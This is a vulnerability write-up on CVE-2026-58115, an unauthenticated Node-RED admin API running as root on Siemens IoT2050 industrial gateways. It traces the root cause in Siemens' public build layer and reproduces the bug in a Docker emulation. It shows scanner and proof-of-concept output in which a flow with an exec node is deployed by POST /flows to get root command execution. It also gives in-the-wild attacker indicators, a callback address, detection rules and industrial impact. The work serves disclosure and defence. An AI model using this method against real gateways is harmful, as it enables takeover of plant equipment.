CVE-2026-58115: The Root Shell Was Already Listening on Port 1880

An industrial gateway that runs a visual programming editor as root, on all interfaces, with the login turned off. That is CVE-2026-58115 in one sentence. The Siemens SIMATIC IoT2050 Advanced is the box plants bolt into a DIN rail to glue PLCs to the cloud, and the Node-RED runtime it ships with answers {} when you ask it how to log in, because there is nothing to log in to. Two HTTP requests later you have uid=0(root).

Siemens published the advisory in August 2026 with a CVSS of 10.0. On 30 October VulnCheck saw the first exploitation attempts land on its honeypots, and on 3 November it was in the news. I wanted to know how much of this I could reproduce without owning the hardware, and the answer turned out to be: nearly all of it, because Siemens builds the IoT2050 images from an open-source repository, and the bug is in that repository.

Repo with PoC, scanner, live PCAP and detection rules: github.com/al4n4n/CVE-2026-58115.

What an IoT2050 is, and why Node-RED is on it

The IoT2050 is Siemens’ “open IoT gateway”: an arm64 box (TI AM65x) running Debian, sold as the thing you put between the OT network and everything else. The Advanced variant ships with Industrial OS, which is Siemens’ Debian image plus their drivers, their node set for S7 and Modbus and OPC UA, and Node-RED.

If you have never used it, Node-RED is a flow editor: you drag nodes onto a canvas, wire them together, click Deploy, and the runtime executes the graph. The editor is a web page. It talks to the runtime through an HTTP admin API on port 1880: GET /flows returns the current graph as JSON, POST /flows replaces it. Deploy is literally a POST /flows.

Among the stock nodes there is exec, which runs a shell command, and http in / http response, which turn any flow into an HTTP endpoint. Those three nodes are the whole exploit. Node-RED knows this; its documentation says plainly that the editor and admin API should be secured with adminAuth before you expose the runtime to anything you don’t trust. The default settings.js has the block ready, commented out.

So the question for this CVE was never “how does the bug work.” It was “how did a CVSS 10 end up in a shipping industrial product,” and the answer is in a git log.

The public BSP

Siemens maintains siemens/meta-iot2050 on GitHub under the MIT licence. It is the Isar/Debian board support package for the IoT2050, with kas build descriptions for an “example image” and a layer called meta-node-red that packages Node-RED for the device. The commercial Industrial OS is closed, but it is built with this BSP, and the Node-RED layer is where the configuration lives.

I checked out tag V01.06.01 (commit 5259222771, 22 December 2025, the last release before the layer changed) and looked at how Node-RED is started. The systemd unit template, meta-node-red/recipes-app/node-red/files/node-red.service.tmpl:

1
2
3
4
5
6
7
8
9
10
11
12
[Unit]
Description=Node-RED
After=syslog.target network.target

[Service]
Type=idle
User=root # <-- uid 0
WorkingDirectory=${NODE_RED_HOME_DIR}
ExecStart=/usr/bin/node-red -u ${NODE_RED_HOME_DIR}/.node-red

[Install]
WantedBy=multi-user.target

NODE_RED_HOME_DIR defaults to /root in node-red-home.inc. So the runtime runs as root, with its user directory in root’s home. Then I looked for the authentication configuration:

1
2
3
$ git grep -n adminAuth V01.06.01
$ git grep -n settings.js V01.06.01 -- meta-node-red
$

Nothing. The layer does not ship a settings.js at all. When Node-RED starts with an empty user directory it writes the default template, and in that template adminAuth is a comment. I confirmed this later in the running target: /root/.node-red/settings.js, line 76, //adminAuth: {.

Two more details from the recipe. The file is called node-red_4.0.9.bb, but it does not install 4.0.9. The build class runs npm ci against a committed npm-shrinkwrap.json, and that lockfile resolves node-red 4.1.0, so 4.1.0 is what ships. And there is no systemd preset in the recipe at this tag, which matters, because Debian’s dh_installsystemd enables and starts a unit by default when a package installs one. Install the package, and Node-RED is up, as root, on 0.0.0.0:1880, before anyone has logged into the box.

The fix, or what there is of it

The meta-node-red layer changed exactly once between V01.06.01 and V01.06.04. Commit 6d7046b4, 25 March 2026, “node-red: disable service by default”:

1
2
meta-node-red/recipes-app/node-red/files/99-node-red.preset | 1 +
meta-node-red/recipes-app/node-red/node-red_4.0.9.bb | 3 ++-

It adds a preset that says disable node-red.service and passes --no-start to the installer. After this commit the package is still installed, still configured to run as root, still without adminAuth, but it does not start unless an operator enables it. That is a real reduction in exposure. It is not authentication.

Whether Industrial OS V4.3.4.1, the version Siemens’ advisory names as fixed, contains this commit, an adminAuth configuration, or both, is not public. The advisory’s own mitigation advice is to uninstall Node-RED or to harden it following the Node-RED security guide, which suggests the authentication part is on the operator. I want to be precise here because it is the one claim in this write-up I could not test: I never had the Industrial OS image. Everything below is the public BSP’s configuration, rebuilt.

Building the target without the hardware

My first plan was the honest one: build the IoT2050 example image with kas and boot it in QEMU, which the README says is supported. It failed twice on my Mac. kas-container uses GNU realpath -e, which BSD realpath does not have; with that shimmed it needs --privileged loop devices that Docker Desktop will not give it; and an Isar build of a full image (kernel, TF-A, OP-TEE, U-Boot, a 295-package npm rebuild, the rootfs) is a multi-hour job on a Linux host with a lot of disk. Not a Saturday afternoon on a laptop.

The second plan reproduces the part that matters. The bug is a configuration: which user, which arguments, which settings.js. None of the kernel or bootloader is involved. So the lab image is Debian plus Node-RED installed exactly the way meta-node-red installs it, started exactly the way the unit starts it:

  • Siemens’ npm-shrinkwrap.json from tag V01.06.01, sha256 verified by setup.py before use
  • npm ci against that lockfile, bundle, npm install -g --prefix /usr, which is what npm.bbclass does, giving Node-RED 4.1.0
  • no settings.js
  • CMD ["/usr/bin/node-red", "-u", "/root/.node-red"] as root

I called it an emulation in every file of the repo because that is what it is. Three containers come up: the vulnerable one on 1880, a “fixed” one on 1881 that mirrors commit 6d7046b4 (package present, service not started), and a “hardened” one on 1882 with adminAuth configured per the Node-RED guide, which is the Siemens-recommended mitigation.

The proof

The scanner (check.py) sends three read-only requests — no flows are deployed, nothing is written:

1
2
3
4
5
6
7
8
$ python3 check.py http://127.0.0.1:1880
[*] target: http://127.0.0.1:1880
[*] GET /auth/login -> 200 {}
[*] GET /settings -> 200 (Node-RED version: 4.1.0)
[*] GET /flows -> 200 (0 nodes, rev 4f53cda18c...)
[+] VULNERABLE (confidence: high) -- admin API (/settings, /flows) readable
with no credentials; /auth/login reports no auth scheme (adminAuth not
configured). Unauthenticated flow deployment -> command execution.

/auth/login returns {} — an empty object, meaning no authentication scheme is configured. /settings and /flows both return 200 with no Authorization header in the request. That is the entire vulnerability: the admin API answers to anyone.

The exploit (poc.py) proves the impact. It deploys a four-node flow — a tab, an http in node, an exec node, and an http response node — then hits the endpoint it just created. Two HTTP requests, both unauthenticated:

1
2
3
4
5
6
7
8
9
$ python3 poc.py http://127.0.0.1:1880
[*] GET http://127.0.0.1:1880/flows -> 200
[*] current flow set: 0 nodes, rev 4f53cda18c...
[*] POST http://127.0.0.1:1880/flows (deploy 4 nodes incl. exec node `id`) -> 200
[*] GET http://127.0.0.1:1880/41ae56983711ecee -> 200
[+] command output from target:
uid=0(root) gid=0(root) groups=0(root)
[+] exec node ran as uid=0 (root): unauthenticated remote command execution as root
[*] POST http://127.0.0.1:1880/flows (restore 0 original nodes) -> 200

uid=0(root). The exec node ran as root because Node-RED is PID 1 in the container, running as root, exactly as the systemd unit starts it on the real device. After the PoC reads the output it restores the original (empty) flow set, which means the runtime goes back to its pre-exploitation state. The verify harness repeats this across multiple rounds:

1
2
3
4
$ python3 verify.py http://127.0.0.1:1880 --rounds 3 --negative-target http://127.0.0.1:1882
...
VULNERABLE -- unauthenticated root command execution in 3/3 rounds (100%)
negative control: passed

100% reliability, zero authentication, pre-auth, root.

Negative control

The hardened container on port 1882 runs the same image with one change: a settings.js that enables adminAuth with bcrypt-hashed credentials, following the mitigation in Siemens’ advisory and the Node-RED security guide.

1
2
3
4
5
6
$ python3 check.py http://127.0.0.1:1882
[*] target: http://127.0.0.1:1882
[*] GET /auth/login -> 200 {"type": "credentials", "prompts": [...]}
[*] GET /settings -> 401 (Node-RED version: None)
[*] GET /flows -> 401
[-] NOT VULNERABLE -- admin API requires authentication (adminAuth type=credentials)

/auth/login now returns a credentials scheme with username/password prompts. /settings and /flows both return 401. poc.py gets the same 401 and exits 1 without deploying anything. The fix container on port 1881 is simpler: the service is disabled (sleep infinity), so nothing listens on 1880 at all. check.py exits 2 with “unreachable.”

This confirms that the bug is the missing adminAuth configuration, not a bypass or a flaw in Node-RED itself.

Exploitation in the wild

This is not theoretical. On 30 October 2026, VulnCheck reported active exploitation attempts against internet-facing IoT2050 devices. The indicators they published:

  • Source IP: 85.215.73[.]250
  • Initial payload written to /dev/shm/.b
  • Second-stage callback: 45.194.90[.]57:38472

The attack vector is the same: unauthenticated POST /flows to deploy an exec node. The difference is that the payload is a reverse shell or dropper, not id. The Node-RED admin API is the only interface needed — there is no authentication bypass, no memory corruption, no race condition. The attacker sends a JSON document over HTTP and the runtime executes it.

By 3 November the story was on The Hacker News and multiple threat intelligence feeds. Siemens’ advisory (SSA-834709) rates this CVSS 10.0, network-accessible, no privileges required, no user interaction. CISA added it to the Known Exploited Vulnerabilities catalog.

The real question is how many of these devices are reachable. Shodan and Censys queries for the Node-RED default page on non-standard OT ranges will find some, but the IoT2050 is often on flat plant networks behind a NAT that was supposed to be the perimeter. One misconfigured firewall rule, one VPN split tunnel, one “temporary” port forward, and the box is reachable from the internet with no authentication required.

Detection

The repo includes Suricata rules (detection/cve-2026-58115.rules) and a Sigma rule (detection/cve-2026-58115.yml).

The network-level detection is straightforward: alert on POST /flows to a Node-RED admin API, optionally with content inspection for exec nodes in the JSON body. A GET /auth/login that returns an empty {} is a reconnaissance indicator. The PCAP in capture/CVE-2026-58115.pcap was taken from inside the vulnerable container’s network namespace during a live check+exploit run and can be replayed against the rules to validate them:

1
2
suricata -r capture/CVE-2026-58115.pcap -s detection/cve-2026-58115.rules -l /tmp/suricata-test/
cat /tmp/suricata-test/fast.log

The Sigma rule covers the same indicators at the log level for environments running Node-RED behind a reverse proxy with access logs.

Impact

The IoT2050 is sold as an edge gateway for industrial environments. In a typical deployment it sits between the OT network (PLCs, HMIs, sensors) and the IT network or cloud, running flows that bridge Modbus/TCP, S7, OPC UA, and MQTT. Root command execution on this device means:

  • Lateral movement into OT: the device has network access to PLCs and HMIs. An attacker can use it as a pivot point.
  • Process manipulation: Node-RED flows that read/write PLC registers can be modified silently. The operator sees the same dashboard; the process values are different.
  • Persistence: the attacker can install a systemd service, modify crontab, or simply leave a flow with a TCP listener deployed. Node-RED restarts it automatically.
  • Data exfiltration: sensor data, process parameters, and network topology are all accessible from the gateway.

The fix — disabling the service by default — reduces the attack surface for new installations but does nothing for devices already running with the service enabled. Those require the operator to either configure adminAuth or uninstall Node-RED entirely, per the advisory.

What I can and cannot claim

Claim Status Basis
The public BSP ships Node-RED as root with no adminAuth Proven git grep, systemd unit, running emulation
Two unauthenticated HTTP requests achieve root RCE Proven poc.py output, PCAP
adminAuth stops the exploit Proven Negative control (hardened container)
Disabling the service stops the exploit Proven Negative control (fixed container)
Industrial OS V4.3.4.1 contains a complete fix Not tested Siemens’ advisory says so; I did not have the image
Exploitation in the wild is occurring Reported by VulnCheck THN article, VulnCheck indicators

Timeline

Date Event
2025-12-22 siemens/meta-iot2050 tag V01.06.01 (last before the fix)
2026-03-25 Commit 6d7046b4: “node-red: disable service by default”
2026-08-12 Siemens publishes SSA-834709, CVSS 10.0, assigns CVE-2026-58115
2026-08-12 Industrial OS V4.3.4.1 listed as the fixed version
2026-10-30 VulnCheck reports first exploitation attempts on honeypots
2026-11-03 The Hacker News publishes, wider coverage begins
2026-11-03 This analysis and PoC (emulation from the public BSP, not the commercial image)

Reproduce it yourself

1
2
3
4
5
6
7
git clone https://github.com/al4n4n/CVE-2026-58115.git
cd CVE-2026-58115
python3 setup.py # downloads Siemens' lockfile, builds the image, starts 3 containers
python3 check.py http://127.0.0.1:1880 # scanner (read-only)
python3 poc.py http://127.0.0.1:1880 # PoC (deploy -> exec -> restore)
python3 verify.py http://127.0.0.1:1880 --rounds 3 --negative-target http://127.0.0.1:1882
python3 setup.py --teardown # cleanup

Requirements: Python 3.8+, Docker. No IoT2050 hardware needed — the lab rebuilds the vulnerable configuration from Siemens’ public BSP.


al4n4n (Dadb0d) · CVE-2026-58115 repo · November 2026